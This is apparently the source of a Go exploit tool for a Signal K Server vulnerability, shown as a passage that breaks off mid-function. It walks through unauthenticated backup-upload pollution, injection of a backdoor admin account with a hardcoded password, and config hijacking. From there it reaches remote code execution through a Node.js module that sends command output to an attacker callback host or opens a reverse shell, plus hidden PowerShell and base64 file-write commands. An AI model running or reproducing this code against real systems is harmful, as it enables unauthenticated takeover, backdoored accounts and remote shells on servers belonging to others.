README.md
Rendering markdown...
// CVE-2025-66398 — Signal K RCE via State Pollution → Config Hijacking → Backdoor
// Affected: Signal K Server ≤ 2.18.0
// Impact: Unauthenticated attacker can inject a backdoor admin account and achieve RCE
// Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
// Repo: https://github.com/joshuavanderpoll/cve-2025-66398
package main
import (
"archive/zip"
"bufio"
"bytes"
"context"
"crypto/tls"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"io"
"mime/multipart"
"net"
"net/http"
"net/url"
"os"
"os/signal"
"strings"
"sync"
"time"
"golang.org/x/crypto/bcrypt"
)
const (
githubURL = "https://github.com/joshuavanderpoll/cve-2025-66398"
defaultUserAgent = "Mozilla/5.0 AppleWebKit/537.36 (CVE-2025-66398; +" + githubURL + ")"
defaultAttacker = "backdoor"
defaultPassword = "H4CK1nd3x!"
rceModuleDir = "cve-2025-66398-rce"
signalkTokensec = "/usr/local/lib/node_modules/signalk-server/dist/tokensecurity"
)
var banner = "\033[95m" +
" ___ __ ___ ___ __ __ _______ ___\n" +
" ____ _____ __|_ ) \\_ ) __|___ / / / /|__ / _ ( _ )\n" +
" / _\\ V / -_)___/ / () / /|__ \\___/ _ \\/ _ \\|_ \\_, / _ \\\n" +
" \\__|\\_ /\\___| /___\\__/___|___/ \\___/\\___/___//_/\\___/\n" +
" \033[0m"
var (
gClient *http.Client
gTimeout = 10 * time.Second
gTargetOS = "linux"
gSignalkDir string
gUserAgent = defaultUserAgent
gStdin = bufio.NewReader(os.Stdin)
)
func osTokensec() string {
if gTargetOS == "windows" {
return "C:/Users/signalk/AppData/Roaming/npm/node_modules/signalk-server/dist/tokensecurity"
}
return signalkTokensec
}
func osDataDir() string {
return strings.TrimRight(strings.TrimRight(gSignalkDir, "/"), "\\")
}
func osShellSpawn() (string, []string) {
if gTargetOS == "windows" {
return "cmd.exe", nil
}
return "/bin/sh", []string{"-i"}
}
func osReadCmd(remotePath string) string {
if gTargetOS == "windows" {
return "type " + remotePath
}
return "cat " + shellQuote(remotePath)
}
func osWriteCmd(content, remotePath string) string {
b64 := base64.StdEncoding.EncodeToString([]byte(content))
if gTargetOS == "windows" {
safePath := strings.ReplaceAll(remotePath, "'", "''")
return fmt.Sprintf(
"powershell -NoP -NonI -W Hidden -C \"[IO.File]::WriteAllBytes('%s',[Convert]::FromBase64String('%s'))\" && echo written",
safePath, b64,
)
}
return fmt.Sprintf("echo %s | base64 -d > %s && echo written", shellQuote(b64), shellQuote(remotePath))
}
func shellQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}
func logOK(msg string) { fmt.Printf(" \033[92m[+]\033[0m %s\n", msg) }
func logInfo(msg string) { fmt.Printf(" \033[94m[*]\033[0m %s\n", msg) }
func logWarn(msg string) { fmt.Printf(" \033[93m[@]\033[0m %s\n", msg) }
func logErr(msg string) { fmt.Printf(" \033[91m[-]\033[0m %s\n", msg) }
func promptInput(msg, defaultVal string) string {
suffix := ""
if defaultVal != "" {
suffix = " [" + defaultVal + "]"
}
fmt.Printf(" \033[96m[?]\033[0m %s%s: ", msg, suffix)
line, err := gStdin.ReadString('\n')
if err != nil {
fmt.Println()
os.Exit(0)
}
line = strings.TrimSpace(line)
if line == "" {
return defaultVal
}
return line
}
func promptConfirm(msg string) bool {
fmt.Printf(" \033[96m[?]\033[0m %s [y/N]: ", msg)
line, err := gStdin.ReadString('\n')
if err != nil {
fmt.Println()
os.Exit(0)
}
line = strings.TrimSpace(strings.ToLower(line))
return line == "y" || line == "yes"
}
func normaliseTarget(raw string) string {
raw = strings.TrimSpace(raw)
raw = strings.TrimRight(raw, "/")
if !strings.HasPrefix(raw, "http") {
raw = "http://" + raw
}
return raw
}
func newHTTPClient(timeout time.Duration) *http.Client {
return &http.Client{
Timeout: timeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // #nosec G402
},
}
}
// split at last sep; returns (before, after), or (s, "") if absent
func rsplitLast(s, sep string) (string, string) {
idx := strings.LastIndex(s, sep)
if idx < 0 {
return s, ""
}
return s[:idx], s[idx+len(sep):]
}
func safePrefix(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n]
}
func doLogin(target, username, password string) string {
body, _ := json.Marshal(map[string]string{"username": username, "password": password})
req, err := http.NewRequest(http.MethodPost, target+"/signalk/v1/auth/login", bytes.NewReader(body))
if err != nil {
return ""
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err != nil {
return ""
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
return ""
}
raw, _ := io.ReadAll(resp.Body)
var data map[string]any
if json.Unmarshal(raw, &data) != nil {
return ""
}
if tok, ok := data["token"].(string); ok {
return tok
}
return ""
}
func printServerInfo(target string, resp *http.Response, body []byte) {
u, _ := url.Parse(target)
logInfo(fmt.Sprintf("Target : %s://%s", u.Scheme, u.Host))
logInfo(fmt.Sprintf("Target OS : %s", gTargetOS))
serverHdr := resp.Header.Get("Server")
if serverHdr == "" {
serverHdr = resp.Header.Get("X-Powered-By")
}
if serverHdr != "" {
logInfo(fmt.Sprintf("Server header : %s", serverHdr))
}
var payload map[string]any
if json.Unmarshal(body, &payload) != nil {
return
}
version := ""
if srv, ok := payload["server"].(map[string]any); ok {
version, _ = srv["version"].(string)
if id, ok := srv["id"].(string); ok && id != "" {
logInfo(fmt.Sprintf("Server ID : %s", id))
}
}
if version == "" {
if endpoints, ok := payload["endpoints"].(map[string]any); ok {
for _, v := range endpoints {
if ep, ok := v.(map[string]any); ok {
version, _ = ep["version"].(string)
break
}
}
}
}
if version != "" {
logOK(fmt.Sprintf("Detected version: Signal K Server %s", version))
}
}
func checkReachable(target string) {
req, err := http.NewRequest(http.MethodGet, target, nil)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s: %v", target, err))
os.Exit(1)
}
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s. Is the server running?", target))
os.Exit(1)
}
defer resp.Body.Close()
body, _ := io.ReadAll(io.LimitReader(resp.Body, 256*1024))
printServerInfo(target, resp, body)
}
func buildSecurityZip(users []map[string]any) ([]byte, error) {
if users == nil {
users = []map[string]any{}
}
secCfg := map[string]any{
"users": users,
"devices": []any{},
"immutableConfig": false,
"acls": []any{},
}
secJSON, err := json.Marshal(secCfg)
if err != nil {
return nil, err
}
buf := &bytes.Buffer{}
zw := zip.NewWriter(buf)
f, err := zw.Create("security.json")
if err != nil {
return nil, err
}
if _, err := f.Write(secJSON); err != nil {
return nil, err
}
if err := zw.Close(); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
func buildRCEZip(users []map[string]any, dataDir, evilJS string) ([]byte, error) {
secCfg := map[string]any{
"users": users,
"devices": []any{},
"immutableConfig": false,
"acls": []any{},
}
setCfg := map[string]any{
"security": map[string]any{
"strategy": dataDir + "/" + rceModuleDir,
},
}
secJSON, err := json.Marshal(secCfg)
if err != nil {
return nil, err
}
setJSON, err := json.Marshal(setCfg)
if err != nil {
return nil, err
}
buf := &bytes.Buffer{}
zw := zip.NewWriter(buf)
writeEntry := func(name, content string) error {
fw, ferr := zw.Create(name)
if ferr != nil {
return ferr
}
_, ferr = fw.Write([]byte(content))
return ferr
}
if err := writeEntry("security.json", string(secJSON)); err != nil {
return nil, err
}
if err := writeEntry("settings.json", string(setJSON)); err != nil {
return nil, err
}
// dir entry; server requires folder presence
dirHdr := &zip.FileHeader{Name: rceModuleDir + "/", Method: zip.Store}
if _, err := zw.CreateHeader(dirHdr); err != nil {
return nil, err
}
if err := writeEntry(rceModuleDir+"/index.js", evilJS); err != nil {
return nil, err
}
if err := zw.Close(); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
func uploadZip(target string, zipBytes []byte) (*http.Response, []byte, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile("file", "signalk-backup.backup")
if err != nil {
return nil, nil, err
}
if _, err := io.Copy(part, bytes.NewReader(zipBytes)); err != nil {
return nil, nil, err
}
if err := writer.Close(); err != nil {
return nil, nil, err
}
req, err := http.NewRequest(http.MethodPost, target+"/skServer/validateBackup", body)
if err != nil {
return nil, nil, err
}
req.Header.Set("User-Agent", gUserAgent)
req.Header.Set("Content-Type", writer.FormDataContentType())
resp, err := gClient.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
raw, _ := io.ReadAll(io.LimitReader(resp.Body, 1*1024*1024))
return resp, raw, nil
}
// phase 0 — vulnerability check
func doCheck(target string) {
logInfo("Checking if target is vulnerable to CVE-2025-66398 ...")
fmt.Println()
zipBytes, err := buildSecurityZip(nil)
if err != nil {
logErr(fmt.Sprintf("Failed to build zip: %v", err))
os.Exit(1)
}
resp, raw, err := uploadZip(target, zipBytes)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s.", target))
os.Exit(1)
}
if resp.StatusCode == 200 {
logOK("Target is VULNERABLE — /skServer/validateBackup accepts unauthenticated uploads.")
var data map[string]any
if json.Unmarshal(raw, &data) == nil {
for _, k := range []string{"restoreFilePath", "filePath", "path"} {
if s, ok := data[k].(string); ok && s != "" {
logOK(fmt.Sprintf("restoreFilePath : %s", s))
break
}
}
}
} else if resp.StatusCode == 401 {
logOK("Target appears PATCHED — endpoint requires authentication (HTTP 401).")
} else {
logWarn(fmt.Sprintf("Unexpected response: HTTP %d. Target may or may not be vulnerable.", resp.StatusCode))
}
fmt.Println()
}
// phase 1 — state pollution
func doPollute(target, attackerName, attackerPass string) {
fmt.Println()
logInfo("Phase 1 of 3 -- State Pollution")
logInfo(fmt.Sprintf("Backdoor account to inject : %s", attackerName))
logInfo(fmt.Sprintf("Backdoor password to inject : %s", attackerPass))
fmt.Println()
logInfo("Hashing password with bcrypt ...")
hashed, err := bcrypt.GenerateFromPassword([]byte(attackerPass), 10)
if err != nil {
logErr(fmt.Sprintf("bcrypt error: %v", err))
os.Exit(1)
}
users := []map[string]any{
{"username": attackerName, "password": string(hashed), "type": "admin"},
}
zipBytes, err := buildSecurityZip(users)
if err != nil {
logErr(fmt.Sprintf("Failed to build zip: %v", err))
os.Exit(1)
}
logInfo("Uploading malicious backup to /skServer/validateBackup ...")
resp, raw, err := uploadZip(target, zipBytes)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s. Is the server running?", target))
os.Exit(1)
}
if resp.StatusCode != 200 {
logErr(fmt.Sprintf("Upload failed -- HTTP %d: %s", resp.StatusCode, string(raw)))
os.Exit(1)
}
logOK("Malicious zip accepted. Server restoreFilePath is now poisoned.")
var data map[string]any
if json.Unmarshal(raw, &data) == nil {
restorePath := ""
for _, k := range []string{"restoreFilePath", "filePath", "path"} {
if s, ok := data[k].(string); ok && s != "" {
restorePath = s
break
}
}
if restorePath != "" {
logOK(fmt.Sprintf("restoreFilePath : %s", restorePath))
if gSignalkDir == "" {
norm := strings.ReplaceAll(restorePath, "\\", "/")
parts, _ := rsplitLast(norm, "/") // strip filename
knownSub := map[string]bool{"backups": true, "tmp": true, "uploads": true, "restore": true}
for parts != "" {
before, last := rsplitLast(parts, "/")
if last == "" {
last = parts
}
if !knownSub[strings.ToLower(last)] {
break
}
parts = before
}
if parts != "" && parts != "." {
gSignalkDir = parts
logOK(fmt.Sprintf("Auto-detected data dir: %s", parts))
}
}
}
if files, ok := data["files"]; ok {
logOK(fmt.Sprintf("Accepted files : %v", files))
}
}
fmt.Println()
logWarn("-- Next step --")
logWarn(" Trigger the restore as a logged-in admin (Phase 2), then")
logWarn(" restart the server so it loads the new config.")
logWarn(" Once the backdoor account is active, proceed to Phase 3 (RCE).")
fmt.Println()
}
// phase 2 — config hijacking
func doRestore(target, adminName, adminPass string) {
fmt.Println()
logInfo("Phase 2 of 3 -- Config Hijacking via /restore")
var token string
for {
logInfo(fmt.Sprintf("Authenticating as admin: %s", adminName))
token = doLogin(target, adminName, adminPass)
if token != "" {
break
}
logErr("Admin login failed. Wrong username or password.")
logWarn(" Hint: if you already ran the exploit earlier,")
logWarn(" try the backdoor credentials you injected instead.")
if !promptConfirm("Try again with different credentials?") {
os.Exit(0)
}
adminName = promptInput("Admin username", adminName)
adminPass = promptInput("Admin password", "")
}
logOK("Admin login successful.")
logOK(fmt.Sprintf("Session token : %s...", safePrefix(token, 40)))
logInfo("Triggering restore endpoint with poisoned backup ...")
restoreBody, _ := json.Marshal(map[string]any{"security.json": true})
req, _ := http.NewRequest(http.MethodPost, target+"/skServer/restore", bytes.NewReader(restoreBody))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s.", target))
os.Exit(1)
}
defer resp.Body.Close()
raw, _ := io.ReadAll(resp.Body)
if resp.StatusCode == 200 || resp.StatusCode == 202 {
logOK("Restore triggered -- backdoor account written to disk.")
var data map[string]any
if json.Unmarshal(raw, &data) == nil {
for _, k := range []string{"restored", "files", "written"} {
if v, ok := data[k]; ok {
logOK(fmt.Sprintf("Restored files : %v", v))
break
}
}
cfgPath := ""
for _, k := range []string{"configPath", "path"} {
if s, ok := data[k].(string); ok && s != "" {
cfgPath = s
break
}
}
if cfgPath != "" {
logOK(fmt.Sprintf("Config path : %s", cfgPath))
if gSignalkDir == "" {
detected, _ := rsplitLast(strings.ReplaceAll(cfgPath, "\\", "/"), "/")
if detected != "" && detected != "." {
gSignalkDir = detected
logOK(fmt.Sprintf("Auto-detected data dir: %s", detected))
}
}
}
}
} else {
logErr(fmt.Sprintf("Restore failed -- HTTP %d: %s", resp.StatusCode, string(raw)))
os.Exit(1)
}
fmt.Println()
}
func rebootAsUser(target, adminName, adminPass string) {
logInfo(fmt.Sprintf("Logging in as %s ...", adminName))
token := doLogin(target, adminName, adminPass)
if token == "" {
logErr("Login failed. Check credentials.")
logWarn(" Hint: if the exploit already ran successfully, try the backdoor")
logWarn(" username and password you injected in Phase 1.")
return
}
logOK("Logged in.")
logInfo("Sending restart request ...")
req, _ := http.NewRequest(http.MethodPut, target+"/skServer/restart", nil)
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err == nil {
defer resp.Body.Close()
}
if err == nil && (resp.StatusCode == 200 || resp.StatusCode == 202) {
logOK("Restart request accepted. Waiting for server to come back up ...")
waitForServer(target)
} else if err != nil {
logWarn("Connection reset during restart (expected). Waiting for server ...")
waitForServer(target)
} else {
raw, _ := io.ReadAll(resp.Body)
logErr(fmt.Sprintf("Restart failed -- HTTP %d: %s", resp.StatusCode, string(raw)))
}
}
func waitForServer(target string) {
const attempts = 20
for i := range attempts {
time.Sleep(2 * time.Second)
req, _ := http.NewRequest(http.MethodGet, target, nil)
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err == nil {
resp.Body.Close()
logOK("Server is back online.")
return
}
fmt.Printf(" \033[90m[@]\033[0m Waiting ... (%d/%d)\r", i+1, attempts)
}
fmt.Println()
logWarn("Server did not come back within the timeout. Check it manually.")
}
func commandJS(callbackHost string, callbackPort int, command string) string {
cmdJSON, _ := json.Marshal(command)
hostJSON, _ := json.Marshal(callbackHost)
tokJSON, _ := json.Marshal(osTokensec())
return fmt.Sprintf(
"'use strict';\n"+
"var cp = require('child_process');\n"+
"cp.exec(%s, function(err, stdout, stderr) {\n"+
" var out = (stdout || stderr || (err ? err.message : '(no output)')).trim();\n"+
" var http = require('http');\n"+
" var opts = {hostname: %s, port: %d,\n"+
" method: 'POST', path: '/',\n"+
" headers: {'Content-Type': 'text/plain',\n"+
" 'Content-Length': Buffer.byteLength(out)}};\n"+
" var req = http.request(opts, function() {});\n"+
" req.on('error', function() {});\n"+
" req.write(out); req.end();\n"+
"});\n"+
"module.exports = require(%s);\n",
string(cmdJSON), string(hostJSON), callbackPort, string(tokJSON),
)
}
func shellJS(lhost string, lport int) string {
shellBin, shellArgs := osShellSpawn()
binJSON, _ := json.Marshal(shellBin)
argsJSON, _ := json.Marshal(shellArgs)
lhostJSON, _ := json.Marshal(lhost)
tokJSON, _ := json.Marshal(osTokensec())
return fmt.Sprintf(
"'use strict';\n"+
"var net = require('net');\n"+
"var cp = require('child_process');\n"+
"var sh = cp.spawn(%s, %s);\n"+
"var c = new net.Socket();\n"+
"c.connect(%d, %s, function() {\n"+
" c.pipe(sh.stdin);\n"+
" sh.stdout.pipe(c);\n"+
" sh.stderr.pipe(c);\n"+
" c.on('close', function() { sh.kill(); });\n"+
"});\n"+
"module.exports = require(%s);\n",
string(binJSON), string(argsJSON), lport, string(lhostJSON), string(tokJSON),
)
}
func codeJS(rawCode string) string {
tokJSON, _ := json.Marshal(osTokensec())
return fmt.Sprintf("'use strict';\n%s\nmodule.exports = require(%s);\n", rawCode, string(tokJSON))
}
func uploadRCEZip(target, attackerName, attackerPass, evilJS string) bool {
hashed, err := bcrypt.GenerateFromPassword([]byte(attackerPass), 10)
if err != nil {
logErr(fmt.Sprintf("bcrypt error: %v", err))
return false
}
dataDir := osDataDir()
if dataDir == "" {
logErr("Signal K data directory is not set.")
logErr(" Use -signalk-dir <path> or let Phase 2 auto-detect it.")
logErr(" WARNING: a wrong path will corrupt the Signal K server config and service.")
return false
}
users := []map[string]any{
{"username": attackerName, "password": string(hashed), "type": "admin"},
}
zipBytes, err := buildRCEZip(users, dataDir, evilJS)
if err != nil {
logErr(fmt.Sprintf("Failed to build RCE zip: %v", err))
return false
}
resp, _, err := uploadZip(target, zipBytes)
if err != nil {
return false
}
return resp.StatusCode == 200
}
// phase 3 — rce
func tryRCE(target, attackerName, attackerPass, adminName, adminPass, command string) bool {
fmt.Println()
logInfo("Phase 3 of 3 -- Remote Code Execution (security strategy injection)")
// bind a free port for the callback
listener, err := net.Listen("tcp", ":0")
if err != nil {
logErr(fmt.Sprintf("Could not bind callback listener: %v", err))
return false
}
callbackPort := listener.Addr().(*net.TCPAddr).Port
var (
cbOutput string
cbMu sync.Mutex
)
received := make(chan struct{}, 1)
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
return
}
body, _ := io.ReadAll(io.LimitReader(r.Body, 1*1024*1024))
cbMu.Lock()
cbOutput = strings.TrimSpace(string(body))
cbMu.Unlock()
w.WriteHeader(http.StatusOK)
select {
case received <- struct{}{}:
default:
}
})
srv := &http.Server{Handler: mux}
go func() { _ = srv.Serve(listener) }()
logInfo(fmt.Sprintf("Callback listener started on port %d.", callbackPort))
// remap localhost so Docker containers can reach back
u, _ := url.Parse(target)
callbackHost := u.Hostname()
if callbackHost == "localhost" || callbackHost == "127.0.0.1" || callbackHost == "::1" {
callbackHost = "host.docker.internal"
}
logInfo(fmt.Sprintf("Callback host : %s", callbackHost))
logInfo("Building and uploading RCE payload ...")
js := commandJS(callbackHost, callbackPort, command)
if !uploadRCEZip(target, attackerName, attackerPass, js) {
logErr("RCE zip upload failed.")
_ = srv.Shutdown(context.Background())
return false
}
logOK("RCE zip accepted by server.")
// Try backdoor first, fall back to the supplied admin account.
token := doLogin(target, attackerName, attackerPass)
restoreAs := attackerName
if token == "" && adminName != "" {
token = doLogin(target, adminName, adminPass)
restoreAs = adminName
}
if token == "" {
logErr("Cannot authenticate to trigger restore. Restart the server first (option 2), then retry.")
_ = srv.Shutdown(context.Background())
return false
}
logOK(fmt.Sprintf("Authenticated as %s.", restoreAs))
logOK(fmt.Sprintf("Session token : %s...", safePrefix(token, 40)))
logInfo("Triggering restore with RCE payload ...")
restoreBody, _ := json.Marshal(map[string]any{
"security.json": true,
"settings.json": true,
rceModuleDir + "/": true,
})
req, _ := http.NewRequest(http.MethodPost, target+"/skServer/restore", bytes.NewReader(restoreBody))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s.", target))
_ = srv.Shutdown(context.Background())
return false
}
raw, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode != 200 && resp.StatusCode != 202 {
logErr(fmt.Sprintf("Restore failed -- HTTP %d: %s", resp.StatusCode, string(raw)))
_ = srv.Shutdown(context.Background())
return false
}
logOK("Payload written to disk.")
var respData map[string]any
if json.Unmarshal(raw, &respData) == nil {
for _, k := range []string{"restored", "files", "written"} {
if v, ok := respData[k]; ok {
logOK(fmt.Sprintf("Restored files : %v", v))
break
}
}
for _, k := range []string{"configPath", "path"} {
if s, ok := respData[k].(string); ok && s != "" {
logOK(fmt.Sprintf("Config path : %s", s))
break
}
}
}
logInfo("Restarting server ...")
// restore invalidates sessions, re-auth
token = doLogin(target, attackerName, attackerPass)
if token == "" && adminName != "" {
token = doLogin(target, adminName, adminPass)
}
if token == "" {
logWarn("Could not re-authenticate for restart. Restart the server manually.")
} else {
req2, _ := http.NewRequest(http.MethodPut, target+"/skServer/restart", nil)
req2.Header.Set("Authorization", "Bearer "+token)
req2.Header.Set("User-Agent", gUserAgent)
r2, err2 := gClient.Do(req2)
if err2 == nil {
r2.Body.Close()
}
}
waitForServer(target)
logInfo("Waiting up to 15 s for command output callback ...")
gotIt := false
select {
case <-received:
gotIt = true
case <-time.After(15 * time.Second):
}
_ = srv.Shutdown(context.Background())
if gotIt {
cbMu.Lock()
output := cbOutput
cbMu.Unlock()
fmt.Println()
logOK("Command output received:")
fmt.Println(" " + strings.Repeat("─", 60))
for _, line := range strings.Split(output, "\n") {
fmt.Printf(" %s\n", line)
}
fmt.Println(" " + strings.Repeat("─", 60))
fmt.Println()
fmt.Printf(" \033[93m\u2b50 If this tool helped you, consider starring the repo: \033[0m\033[1m%s\033[0m\n", githubURL)
fmt.Println()
return true
}
logWarn("No callback received within timeout.")
logWarn(fmt.Sprintf(" Expected callback at: http://%s:%d/", callbackHost, callbackPort))
logWarn(" The container may not be able to reach that address.")
logWarn(" Check that host.docker.internal resolves inside the container,")
logWarn(" or set a custom callback host via the code.")
fmt.Println()
return false
}
// phase 3 — reverse shell
func tryShell(target, attackerName, attackerPass, adminName, adminPass, lhost string, lport int) bool {
fmt.Println()
logInfo("Phase 3 of 3 -- Reverse Shell (Node.js socket shell)")
logInfo(fmt.Sprintf("Listener : %s:%d", lhost, lport))
logInfo(fmt.Sprintf("Catch with : nc -lvnp %d", lport))
fmt.Println()
js := shellJS(lhost, lport)
if !uploadRCEZip(target, attackerName, attackerPass, js) {
logErr("Shell zip upload failed.")
return false
}
logOK("Shell zip accepted by server.")
token := doLogin(target, attackerName, attackerPass)
restoreAs := attackerName
if token == "" && adminName != "" {
token = doLogin(target, adminName, adminPass)
restoreAs = adminName
}
if token == "" {
logErr("Cannot authenticate to trigger restore. Restart the server first (option 2), then retry.")
return false
}
logOK(fmt.Sprintf("Authenticated as %s.", restoreAs))
logOK(fmt.Sprintf("Session token : %s...", safePrefix(token, 40)))
logInfo("Triggering restore with shell payload ...")
restoreBody, _ := json.Marshal(map[string]any{
"security.json": true,
"settings.json": true,
rceModuleDir + "/": true,
})
req, _ := http.NewRequest(http.MethodPost, target+"/skServer/restore", bytes.NewReader(restoreBody))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s.", target))
return false
}
raw, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode != 200 && resp.StatusCode != 202 {
logErr(fmt.Sprintf("Restore failed -- HTTP %d: %s", resp.StatusCode, string(raw)))
return false
}
logOK("Payload written to disk.")
logInfo("Restarting server — shell will connect back on module load ...")
token = doLogin(target, attackerName, attackerPass)
if token == "" && adminName != "" {
token = doLogin(target, adminName, adminPass)
}
if token != "" {
req2, _ := http.NewRequest(http.MethodPut, target+"/skServer/restart", nil)
req2.Header.Set("Authorization", "Bearer "+token)
req2.Header.Set("User-Agent", gUserAgent)
r2, err2 := gClient.Do(req2)
if err2 == nil {
r2.Body.Close()
}
}
waitForServer(target)
logOK(fmt.Sprintf("Server back online. Shell should connect to %s:%d.", lhost, lport))
return true
}
// phase 3 — code injection
func tryCode(target, attackerName, attackerPass, adminName, adminPass, rawCode string) bool {
fmt.Println()
logInfo("Phase 3 of 3 -- Code Injection (raw Node.js module)")
fmt.Println()
js := codeJS(rawCode)
if !uploadRCEZip(target, attackerName, attackerPass, js) {
logErr("Code zip upload failed.")
return false
}
logOK("Code zip accepted by server.")
token := doLogin(target, attackerName, attackerPass)
restoreAs := attackerName
if token == "" && adminName != "" {
token = doLogin(target, adminName, adminPass)
restoreAs = adminName
}
if token == "" {
logErr("Cannot authenticate to trigger restore. Restart the server first (option 2), then retry.")
return false
}
logOK(fmt.Sprintf("Authenticated as %s.", restoreAs))
logOK(fmt.Sprintf("Session token : %s...", safePrefix(token, 40)))
logInfo("Triggering restore with code payload ...")
restoreBody, _ := json.Marshal(map[string]any{
"security.json": true,
"settings.json": true,
rceModuleDir + "/": true,
})
req, _ := http.NewRequest(http.MethodPost, target+"/skServer/restore", bytes.NewReader(restoreBody))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("User-Agent", gUserAgent)
resp, err := gClient.Do(req)
if err != nil {
logErr(fmt.Sprintf("Could not reach %s.", target))
return false
}
raw, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode != 200 && resp.StatusCode != 202 {
logErr(fmt.Sprintf("Restore failed -- HTTP %d: %s", resp.StatusCode, string(raw)))
return false
}
logOK("Payload written to disk.")
logInfo("Restarting server — injected code runs on module load ...")
token = doLogin(target, attackerName, attackerPass)
if token == "" && adminName != "" {
token = doLogin(target, adminName, adminPass)
}
if token != "" {
req2, _ := http.NewRequest(http.MethodPut, target+"/skServer/restart", nil)
req2.Header.Set("Authorization", "Bearer "+token)
req2.Header.Set("User-Agent", gUserAgent)
r2, err2 := gClient.Do(req2)
if err2 == nil {
r2.Body.Close()
}
}
waitForServer(target)
logOK("Server back online. Code executed on module load.")
return true
}
func restartMenu(target, attackerName, attackerPass, adminName, adminPass string) {
for {
fmt.Println()
fmt.Println(" \033[1mWhat do you want to do next?\033[0m")
fmt.Println(" 1) Try exploit (attempt RCE as backdoor user)")
fmt.Println(" 2) Reboot as user (trigger server restart via admin creds)")
fmt.Println(" 3) Exit")
fmt.Println()
fmt.Printf(" \033[96m[?]\033[0m Choose [1/2/3]: ")
line, err := gStdin.ReadString('\n')
if err != nil {
fmt.Println()
os.Exit(0)
}
choice := strings.TrimSpace(line)
switch choice {
case "1":
cmd := promptInput("Command to run on the server", "id")
if !tryRCE(target, attackerName, attackerPass, adminName, adminPass, cmd) {
logWarn("RCE failed -- see hints above.")
}
case "2":
adminName = promptInput("Admin username", adminName)
adminPass = promptInput("Admin password", adminPass)
if adminName == "" || adminPass == "" {
logErr("Username and password are required.")
continue
}
rebootAsUser(target, adminName, adminPass)
case "3":
logInfo("Exiting.")
os.Exit(0)
default:
logWarn("Invalid choice. Enter 1, 2 or 3.")
}
}
}
func interactiveMode(presetTarget string) {
fmt.Println()
var target string
if presetTarget != "" {
target = normaliseTarget(presetTarget)
logInfo(fmt.Sprintf("Target set to: %s", target))
} else {
raw := promptInput("Target Signal K server", "")
target = normaliseTarget(raw)
logInfo(fmt.Sprintf("Target set to: %s", target))
}
checkReachable(target)
fmt.Println()
attackerName := promptInput("Backdoor username to inject", defaultAttacker)
attackerPass := promptInput("Backdoor password to inject", defaultPassword)
fmt.Println()
logInfo("Phase 1: State Pollution")
logInfo(fmt.Sprintf(" Uploads a malicious .backup file to %s/skServer/validateBackup", target))
logInfo(fmt.Sprintf(" Embeds a backdoor admin account (%s) into the restore state.", attackerName))
logInfo(" No authentication required.")
fmt.Println()
if !promptConfirm("Continue with pollution?") {
logInfo("Aborted.")
os.Exit(0)
}
doPollute(target, attackerName, attackerPass)
fmt.Println()
logInfo("Phase 2: Config Hijacking")
logInfo(" The server must restore from the poisoned backup and then restart")
logInfo(" before the backdoor account becomes active.")
fmt.Println()
var adminName, adminPass string
if promptConfirm("Do you have admin credentials to trigger the restore now?") {
adminName = promptInput("Admin username", "")
adminPass = promptInput("Admin password", "")
doRestore(target, adminName, adminPass)
if gSignalkDir == "" {
logWarn("Could not auto-detect the Signal K data directory from restore response.")
fmt.Println()
logErr(" !! A wrong path will BREAK the Signal K server — it will fail to start !!")
custom := promptInput("Signal K data dir on target (required)", "")
if custom == "" {
logErr("Data directory is required to continue. Aborting.")
os.Exit(1)
}
gSignalkDir = custom
}
} else {
logWarn("Waiting for a legitimate admin to trigger restore, or restart the server manually.")
fmt.Println()
logErr(" !! A wrong path will BREAK the Signal K server — it will fail to start !!")
custom := promptInput("Signal K data dir on target (required)", "")
if custom == "" {
logErr("Data directory is required to continue. Aborting.")
os.Exit(1)
}
gSignalkDir = custom
}
restartMenu(target, attackerName, attackerPass, adminName, adminPass)
}
func runNonInteractive(
target, backdoorName, backdoorPass, adminName, adminPass string,
checkOnly bool,
readFile, writeFileContent, writeFilePath, command, code string,
shell bool, lhost string, lport int,
) {
if checkOnly {
doCheck(target)
return
}
if shell && (lhost == "" || lport == 0) {
logErr("-shell requires -lhost and -lport.")
os.Exit(1)
}
needsPhase3 := readFile != "" || writeFilePath != "" || command != "" || code != "" || shell
if adminName != "" && adminPass != "" {
doPollute(target, backdoorName, backdoorPass)
doRestore(target, adminName, adminPass)
rebootAsUser(target, adminName, adminPass)
} else {
logWarn("No admin credentials provided — skipping Phases 1 and 2.")
